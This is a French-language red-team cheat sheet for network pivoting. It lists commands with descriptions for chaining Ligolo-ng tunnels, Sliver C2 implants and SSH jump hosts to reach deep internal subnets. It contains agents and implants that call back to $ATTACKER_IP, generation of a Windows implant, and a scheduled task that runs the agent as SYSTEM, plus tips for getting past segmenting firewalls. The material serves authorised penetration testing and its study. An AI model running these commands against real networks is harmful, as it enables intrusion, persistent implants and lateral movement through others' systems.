sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo upDescription: Créer l'interface tun ligolo sur l'attaquant : prérequis pour les tunnels suivants.
Pivoting
Chaîner plusieurs pivots avec Ligolo-ng, Sliver et SSH pour atteindre des réseaux profonds.
sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo upDescription: Créer l'interface tun ligolo sur l'attaquant : prérequis pour les tunnels suivants.
./proxy -selfcert -laddr 0.0.0.0:11601Description: Démarrer le proxy ligolo-ng : attendre les connexions des agents sur le port 11601.
./agent -connect $ATTACKER_IP:11601 -ignore-certDescription: Déployer l'agent sur le pivot 1 : établit le tunnel vers le proxy.
session && start && listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601Description: Ajouter un listener sur le pivot 1 : le pivot 2 se connectera via le pivot 1.
sudo ip route add $DEEP_SUBNET dev ligolo2Description: Router le sous-réseau profond via la deuxième interface ligolo : accès multi-couche.
mtls --lport 8888Description: Listener mTLS sur le serveur Sliver pour recevoir le premier implant.
portfwd add --remote $PIVOT1_IP:8888Description: Depuis l'implant pivot 1 : forworder le port 8888 vers notre serveur pour le pivot 2.
generate --mtls $PIVOT1_IP:8888 --os windows --save /tmp/implant2.exeDescription: Générer un implant qui se connecte via le pivot 1 : trafic chiffré bout-en-bout.
socks5 start --host 127.0.0.1 --port 1080Description: Proxy SOCKS5 via l'implant sélectionné : accès au réseau derrière le pivot.
ssh -D 1080 -N -f $USER@$PIVOT1Description: Dynamic port forwarding SSH : proxy SOCKS sur 1080 via le premier pivot SSH.
ssh -o ProxyCommand='ssh -W %h:%p $USER@$PIVOT1' $USER@$PIVOT2Description: SSH via ProxyCommand : atteindre un pivot 2 accessible uniquement depuis le pivot 1.
ssh -J $USER@$PIVOT1 $USER@$PIVOT2Description: Jump host SSH (-J) : syntaxe simplifiée pour rebondir via un host intermédiaire.
# scan via tunnel routé (SOCKS/route msf) sur un subnet cible -> tout 'filtered'Description: Symptôme : un scan via un pivot routé/relayé (SOCKS msf, tunnel ligolo sourcé par un autre hôte) ne trouve rien alors qu'un pare-feu type pfSense sépare les segments. Hypothèse à tester : le firewall autorise uniquement le trafic dont l'IP source réelle est un hôte précis (ex: le DC lui-même), pas n'importe quel trafic relayé apparaissant depuis ce segment.
# valider : ping/scan émis DEPUIS l'hôte autorisé lui-même (ex: via meterpreter/evil-winrm) plutôt que via le pivotDescription: Test-Connection ou un scan TCP par socket lancé directement depuis l'hôte cible du filtrage confirme l'hypothèse s'il répond alors que le même scan via un autre pivot échoue systématiquement, même sur le même /24.
schtasks /create /tn lgtask /tr "C:\Windows\Temp\agent.exe -connect $ATTACKER_IP:11601 -ignore-cert" /sc once /st 00:00 /ru SYSTEM /f && schtasks /run /tn lgtaskDescription: Correctif : déployer un agent ligolo natif directement sur l'hôte source autorisé (nouvelle interface tun dédiée). Lancer via Start-Process/exec direct dans une session WinRM tue le process à la fermeture (rattaché au Job Object) : passer par une tâche planifiée le détache vraiment.
sudo ip tuntap add user $(whoami) mode tun ligoloX && sudo ip route add $TARGET_HOST/32 dev ligoloXDescription: Plusieurs tunnels ligolo peuvent tourner en parallèle sans conflit (une interface dédiée par pivot). Utiliser des routes /32 ciblées quand seuls quelques hôtes du /24 sont concernés, pour ne pas entrer en collision avec une route /24 déjà présente sur une autre interface.